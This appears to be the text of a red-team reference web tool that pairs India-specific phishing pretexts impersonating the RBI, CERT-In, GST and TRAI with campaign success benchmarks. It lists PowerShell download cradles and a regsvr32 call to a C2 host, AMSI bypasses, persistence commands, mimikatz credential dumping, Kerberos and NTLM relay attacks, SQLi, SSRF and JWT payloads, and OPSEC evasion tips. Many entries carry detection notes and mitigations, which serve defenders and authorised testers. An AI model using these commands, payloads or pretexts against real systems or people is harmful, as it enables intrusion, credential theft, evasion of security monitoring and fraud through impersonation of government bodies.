Offensive Security
Tools & Techniques
Reconnaissance & Phishing Simulation
India-specific pretexts, GoPhish setup, SMTP relay options, campaign benchmarks
India Phishing Pretexts
7 India-specific pretexts: RBI, CERT-In, GST, TRAI, HR/Salary, MCA. GoPhish setup + SMTP relay options.
OSINT Target Profiler
Generate recon checklist for a target org — LinkedIn, Shodan, GitHub, DNS, email harvesting.
Payload Crafting & AV Evasion
PowerShell obfuscation, AMSI bypass, VBA macros, .NET injection techniques
Payload Obfuscation
PowerShell base64, IEX cradles, AMSI bypass, VBA Chr() arrays, .NET reflection injection.
EDR Evasion Selector
Pick your target EDR and get recommended evasion techniques and detection gaps.
C2 Frameworks & Persistence
Cobalt Strike, Sliver, Havoc, Brute Ratel — redirectors, malleable profiles, detection sigs
C2 Framework Comparison
Cobalt Strike vs Sliver vs Havoc vs Metasploit — protocols, evasion, detection signatures.
Persistence Techniques
Registry run keys, scheduled tasks, WMI subscriptions, DLL hijacking, service installation.
Active Directory Attacks
Kerberoasting, DCSync, BloodHound, Pass-the-Hash, ADCS abuse — with KQL detections
AD Attack Reference
8 core techniques with commands, Event IDs, KQL detections, and mitigations.
Attack Path Simulator
Select your starting position and get the most likely path to Domain Admin.
Kerberoasting
TGS request for SPN accounts → offline crack
AS-REP Roasting
No pre-auth accounts → hash offline
DCSync
Mimic DC replication → all hashes
Pass-the-Hash
NTLM hash auth without cracking
Golden Ticket
Forge TGT with KRBTGT hash
LSASS Dump
Extract creds from LSASS memory
BloodHound
Graph-based AD attack path enum
NTLM Relay
Responder → ntlmrelayx pivot
ADCS ESC1
Cert template abuse → DA cert
GPO Abuse
Modify GPO → scheduled task exec
Web App, Cloud & OPSEC
SQLi, JWT attacks, SSRF→IMDS, XXE, GraphQL, LOLBins, assume-breach scenarios
Web App Attack Reference
SQLi payloads, SSRF→cloud IMDS, JWT attacks, XXE, GraphQL abuse techniques.
OPSEC Reference
Top 10 OPSEC failures, log sources that see you, LOLBins quick reference.
Assume Breach Scenarios
6 India-context scenarios: BFSI, IT sector, cloud, insider, supply chain, ransomware.
Engagement Scorer
Score your red team engagement across detection, response, and coverage dimensions.
// 7 INDIA-SPECIFIC PRETEXTS
🏭 RBI Circular
Fake RBI advisory on mandatory KYC update or new SWIFT compliance requirement. Targets BFSI employees.
💌 Subject: "RBI Circular No. RBI/2025-26/XX — Immediate Action Required"
🚨 CERT-In Advisory
Fake CERT-In security alert requiring immediate patch installation — delivers payload as patch installer.
💌 Subject: "CERT-In Advisory CIAD-2025-0XXX — Critical Vulnerability"
💳 GST Portal
Fake GST portal notification about mismatch in GSTR-3B requiring login to resolve. Credential harvesting.
💌 Subject: "GST Notice: GSTR-3B Mismatch — Action Required by [date]"
💻 IT Helpdesk
Internal IT helpdesk impersonation — mandatory security software update or VPN certificate renewal.
💌 From: helpdesk@[company-lookalike].com
💸 Salary/HR
Fake HR email about salary revision letter or Form 16 download — high open rate in India.
💌 Subject: "Your Revised CTC Letter — FY 2025-26"
📱 TRAI/DoT
Fake TRAI notice about mobile number disconnection — targets employees with personal device access.
💌 Subject: "TRAI Notice: Your Mobile Number Will Be Disconnected"
🏢 MCA/ROC
Fake Ministry of Corporate Affairs notice about compliance filing — targets finance/legal teams.
💌 Subject: "MCA Notice: Annual Return Filing Overdue — Penalty Applicable"
// GOPHISH QUICK SETUP
// INDIA CAMPAIGN BENCHMARKS
Open Rate
Average: 35-45%
India pretexts: 55-70%
Click Rate
Average: 15-25%
Salary/HR: 30-40%
Credential Submit
Average: 8-15%
GST/RBI: 15-25%
Report Rate
Average: 5-10%
Post-training target: >30%
// SELECT TARGET TYPE
// KEY OSINT TOOLS
theHarvester
Email, subdomain, employee enumeration from public sources.
theHarvester -d target.com -b allShodan
Exposed services, default creds, VPN endpoints, email servers.
shodan search org:"Target Corp" port:443LinkedIn OSINT
Org chart, tech stack from job postings, employee names for pretexts.
site:linkedin.com/in "Target Corp" "security engineer"GitHub Recon
Leaked credentials, internal hostnames, API keys in commits.
trufflehog github --org=targetorg// POWERSHELL OBFUSCATION
Base64 Encoded Command
powershell -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA=🔍 Detect: ScriptBlock logging Event 4104, -enc flag
IEX Download Cradle
IEX(New-Object Net.WebClient).DownloadString('http://C2/p.ps1')🔍 Detect: Net.WebClient in ScriptBlock, outbound HTTP from powershell.exe
Gzip + Reflection
$s=[IO.Compression.GZipStream]::new([IO.MemoryStream][Convert]::FromBase64String($b),[IO.Compression.CompressionMode]::Decompress);IEX([IO.StreamReader]::new($s).ReadToEnd())🔍 Detect: GZipStream + IEX in same ScriptBlock
String Concatenation
$a='Inv'+'oke-'+'Expr'+'ession'; &($a) $payload🔍 Detect: AMSI, ScriptBlock logging reassembly
// AMSI BYPASS TECHNIQUES
AmsiScanBuffer Patch
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)🔍 Detect: amsi.dll memory write, Event 4104
Reflection Load
$bytes=[IO.File]::ReadAllBytes('payload.dll');[Reflection.Assembly]::Load($bytes)🔍 Detect: Assembly.Load with byte array, ETW events
WLDP Bypass
regsvr32 /s /n /u /i:http://C2/payload.sct scrobj.dll🔍 Detect: regsvr32 with /i: flag, Sysmon Event 1
COM Object Bypass
$c=[activator]::CreateInstance([type]::GetTypeFromProgID("WScript.Shell"));$c.Run("powershell -c payload")🔍 Detect: WScript.Shell spawning powershell
// .NET INJECTION TECHNIQUES
// SELECT TARGET EDR
// C2 FRAMEWORK COMPARISON
| Framework | License | Protocol | Evasion | Detection Sig |
|---|---|---|---|---|
| Cobalt Strike | Commercial | HTTP/S, DNS, SMB | Malleable C2, sleep mask | Beacon staging, default cert CN |
| Sliver | Open Source | mTLS, HTTP/S, DNS, WireGuard | Garble obfuscation, implant signing | Default TLS cert, implant strings |
| Havoc | Open Source | HTTP/S, SMB | Sleep obfuscation, indirect syscalls | Demon agent PE headers |
| Metasploit | Open Source | TCP, HTTP/S, DNS | Encoders, shikata_ga_nai | Meterpreter staging patterns |
| Brute Ratel | Commercial | HTTP/S, DNS | No EDR hooks, AMSI bypass built-in | Badger agent, unique API patterns |
// SLIVER QUICK START
// REDIRECTOR ARCHITECTURE
Apache mod_rewrite
Filter by User-Agent, URI, IP. Redirect non-C2 traffic to legitimate site.
RewriteCond %{HTTP_USER_AGENT} !^Mozilla.*Nginx Redirector
proxy_pass to teamserver only for matching URI patterns.
location /updates/ { proxy_pass http://TEAMSERVER:443; }Cloudflare Workers
Serverless redirector — hides real C2 IP behind CF infrastructure.
Domain Fronting
Route C2 traffic through CDN. SNI vs Host header mismatch.
⚠ Increasingly blocked by CDN providers
// PERSISTENCE TECHNIQUES
Registry Run Keys
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "C:\payload.exe"🔍 Detect: Sysmon EID 12/13, reg.exe spawning
Scheduled Task
schtasks /create /tn "WindowsUpdate" /tr "C:\payload.exe" /sc onlogon /ru SYSTEM🔍 Detect: Event 4698, schtasks.exe in cmdline
WMI Subscription
$filter=Set-WmiInstance -Namespace root\subscription -Class __EventFilter ...
$consumer=Set-WmiInstance -Class CommandLineEventConsumer ...🔍 Detect: Sysmon EID 19/20/21, WMI-Activity log
DLL Hijacking
Place malicious DLL in app search path before legitimate DLL location.
🔍 Detect: Sysmon EID 7 — ImageLoaded from unusual path
Service Installation
sc create malSvc binPath= "C:\payload.exe" start= auto
sc start malSvc🔍 Detect: Event 4697 — service installed
Startup Folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"🔍 Detect: File creation in Startup folder, Sysmon EID 11
// KERBEROS ATTACKS
Kerberoasting
Request TGS for SPN-set accounts → offline crack NTLM hash.
Rubeus.exe kerberoast /outfile:hashes.txt
GetUserSPNs.py domain/user -request🔍 Event 4769 — RC4 encryption type (0x17)
🛡 Use AES-only, strong svc passwords, MSAs
AS-REP Roasting
Accounts with no Kerberos pre-auth — get AS-REP hash offline.
Rubeus.exe asreproast /format:hashcat
GetNPUsers.py domain/ -usersfile users.txt🔍 Event 4768 — no pre-auth (0x0)
🛡 Enable pre-auth on all accounts
DCSync
Mimic DC replication to pull all NTLM hashes from domain.
mimikatz # lsadump::dcsync /domain:corp.local /all
secretsdump.py domain/user@DC_IP🔍 Event 4662 — DS-Replication-Get-Changes-All
🛡 Restrict replication rights, alert on non-DC replication
Golden Ticket
Forge TGT using KRBTGT hash — valid for 10 years by default.
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt🔍 Event 4769 — ticket lifetime >10h
🛡 Reset KRBTGT twice, monitor anomalous TGT lifetimes
Pass-the-Hash
Use NTLM hash directly for authentication without cracking.
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH🔍 Event 4624 — Logon Type 3, NtLmSsp
🛡 Enable Protected Users group, disable NTLM
LSASS Dump
Extract credentials from LSASS process memory.
mimikatz # sekurlsa::logonpasswords
procdump.exe -ma lsass.exe lsass.dmp🔍 Sysmon Event 10 — lsass.exe access
🛡 Enable Credential Guard, RunAsPPL
BloodHound
Graph-based AD attack path enumeration.
SharpHound.exe -c All --zipfilename bh.zip
bloodhound-python -d corp.local -u user -p pass -c All🔍 LDAP query volume spike, SharpHound signatures
NTLM Relay
Capture and relay NTLM auth to other services.
responder -I eth0 -rdwv
ntlmrelayx.py -tf targets.txt -smb2support🔍 Event 4624 — unexpected source IPs
🛡 Enable SMB signing, disable LLMNR/NBT-NS
// KQL — KERBEROASTING DETECTION
// KQL — DCSYNC DETECTION
// SELECT STARTING POSITION
// 43 COMMON AD ATTACK PATHS
// SQL INJECTION
Union-Based
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--Blind Boolean
' AND 1=1-- (true)
' AND SUBSTRING(username,1,1)='a'--Time-Based Blind
' AND SLEEP(5)-- (MySQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)WAF Bypass
/*!UNION*/ /*!SELECT*/ 1,2,3--
%27%20UNION%20SELECT--// SSRF → CLOUD IMDS
AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME🔍 Returns: AccessKeyId, SecretAccessKey, Token
Azure IMDS
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: trueGCP Metadata
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: GoogleSSRF Bypass
http://[::ffff:169.254.169.254]/
http://169.254.169.254.nip.io/// JWT ATTACKS
Algorithm None
{"alg":"none","typ":"JWT"}.{"sub":"admin"}. (no sig)RS256 → HS256 Confusion
python3 jwt_tool.py TOKEN -X k -pk public.pemJWK Injection
{"alg":"RS256","jwk":{"kty":"RSA","n":"...attacker_key..."}}Kid Header SQLi
{"kid":"' UNION SELECT 'attacker_key'--"}// WHAT SEES YOU — LOG SOURCES
| Action | Log Source | Event ID | Visibility |
|---|---|---|---|
| Process creation | Sysmon / Security | EID 1 / 4688 | High |
| Network connection | Sysmon / Firewall | EID 3 | High |
| PowerShell execution | PS ScriptBlock | EID 4104 | High |
| DNS query | Sysmon / DNS debug | EID 22 | Medium |
| Registry write | Sysmon | EID 12/13 | Medium |
| Scheduled task | Task Scheduler | EID 4698 | High |
| LDAP queries | DC Security log | EID 1644 | Low |
| WMI activity | WMI-Activity/Sysmon | EID 19/20/21 | Medium |
// TOP 10 OPSEC FAILURES
1. Default C2 Certs
Stock Cobalt Strike/Sliver TLS certs — trivially fingerprinted by Shodan/Censys.
2. Staging from C2 IP
Payload downloads directly from teamserver IP — exposes infrastructure on first callback.
3. No Sleep/Jitter
Regular beacon intervals (exactly 60s) visible in NetFlow and proxy logs.
4. Loud Enumeration
BloodHound without throttling — thousands of LDAP queries in seconds.
5. Reusing Infrastructure
Same C2 domain/IP across engagements. One burn = all burned.
6. Discovery Burst
whoami, ipconfig, net user in rapid succession — classic IOC pattern.
7. Unencrypted C2
HTTP C2 without TLS — proxy/DPI sees all commands and output.
8. Writing to Disk
Dropping payloads to %TEMP% — AV/EDR scans on write.
9. Office → cmd.exe
winword.exe → cmd.exe is a tier-1 EDR alert. Use indirect execution.
10. No Redirectors
Direct teamserver exposure — one block = engagement over.
// LOLBINS QUICK REFERENCE
| Binary | Abuse | Detection |
|---|---|---|
| certutil.exe | Download files, decode base64 | -urlcache -split -f flags |
| mshta.exe | Execute HTA/VBScript remotely | mshta.exe with http:// arg |
| regsvr32.exe | Execute COM scriptlets | /i: flag with URL |
| wmic.exe | Remote execution, process creation | process call create |
| rundll32.exe | Execute DLL exports, JS via mshtml | javascript: in args |
| bitsadmin.exe | Download files, persistence | /transfer with external URL |
| msiexec.exe | Remote MSI execution | /i http:// or /q flags |
| cmstp.exe | UAC bypass via INF | cmstp.exe with /ni /s |